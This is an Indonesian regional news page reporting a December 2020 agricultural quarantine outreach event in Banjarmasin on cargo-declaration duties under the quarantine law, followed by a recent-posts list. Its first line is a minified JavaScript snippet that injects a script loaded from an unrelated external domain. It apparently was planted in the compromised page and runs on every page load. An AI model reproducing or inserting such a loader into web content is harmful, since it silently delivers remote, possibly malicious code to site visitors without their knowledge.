(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Hukum

Balai Karantina Pertanian Banjarmasin: Alat Angkut Wajib Laporkan Muatannya


KANALKALIMANTAN.COM,BANJARMASIN – Meningkatkan pengetahuan masyarakat tentang karantina pertanian serta membangun sinergisitas antar instansi terkait, Balai Karantina Pertanian Kelas I Banjarmasin menyelenggarakan sosialisasi dan koordinasi antar instansi, Selasa (15/12/2020).

Acara bertajuk “Sinergi Melindungi Negeri” tersebut mengajak untuk sinergisitas bersama pihak Kepolisian Republik Indonesia (Polri) dalam rangka penegakkan peraturan karantina.

Kepala Balai Karantina Pertanian Kelas I Banjarmasin, Nur Hartanto mengatakan, sosialiasi bersama instansi terkait guna menjalin komunikasi yang baik dalam penegakan Undang-Undang Nomor 21 tahun 2019 tentang karantina hewan, ikan dan tumbuhan.

“Sebagai contoh di dalam pasal 29 menyebutkan bahwa pemilik alat angkut wajib melaporkan muatannya kepada pejabat karantina dan bila tidak melaporkan akan terkena sanksi administrasi,” ujar Nur Hartanto.

 

“Maka di sini perlu adanya sinergi dengan Kantor Kesyahbandaran dan Otoritas Pelabuhan (KSOP) yang mengawal Undang-Undang Nomor 17 tahun 2008 tentang pelayaran, sehingga pelaporan dan sanksi dapat dilaksanakan dengan baik,” katanya.

Demikian juga dengan kewajiban pemusnahan sampah dari alat angkut yang terkontaminasi Hama Penyakit Hewan Karantina (HPHK) dan atau Organisme Pengganggu Tumbuhan Karantina (OPTK) harus berkoordinasi dengan pengelola tempat pemasukan seperti Pelindo.

Upaya penguatan informasi ini juga dilakukan agar masyarakat tidak lagi melakukan pelanggaran terhadap peraturan kekarantinaan.

Segala bentuk pelanggaran dampaknya akan merugikan, baik merugikan orang yang membawa karena akan dikenakan sanksi, maupun merugikan negara.

Melalui sosialisasi UU karantina hewan, ikan dan tumbuhan yang baru, setidaknya lewat rekan-rekan media mendapat penjelasan tentang peraturan karantina, sehingga mudah dalam menyampaikan informasi ke masyarakat.

Dalam acara tesebut, Kasi Korwas Polda Kalsel Kompol Slamet AW kepada kanalkalimantan.com bahwa dalam hal pelaksanan di lapangan ada disiapkan bantuan penyelidikan terkait pelanggaran kekarantinaan.

“Tentunya kami sendiri mendukung Balai Karantina Pertanian Kelas I Banjarmasin dalam hal operasionalnya,” tuturnya. (kanalkalimantan.com/putra)

Reporter : Putra
Editor : Bie

 


Al Ghifari

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

1 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

3 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

4 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

4 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

7 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

8 jam ago

This website uses cookies.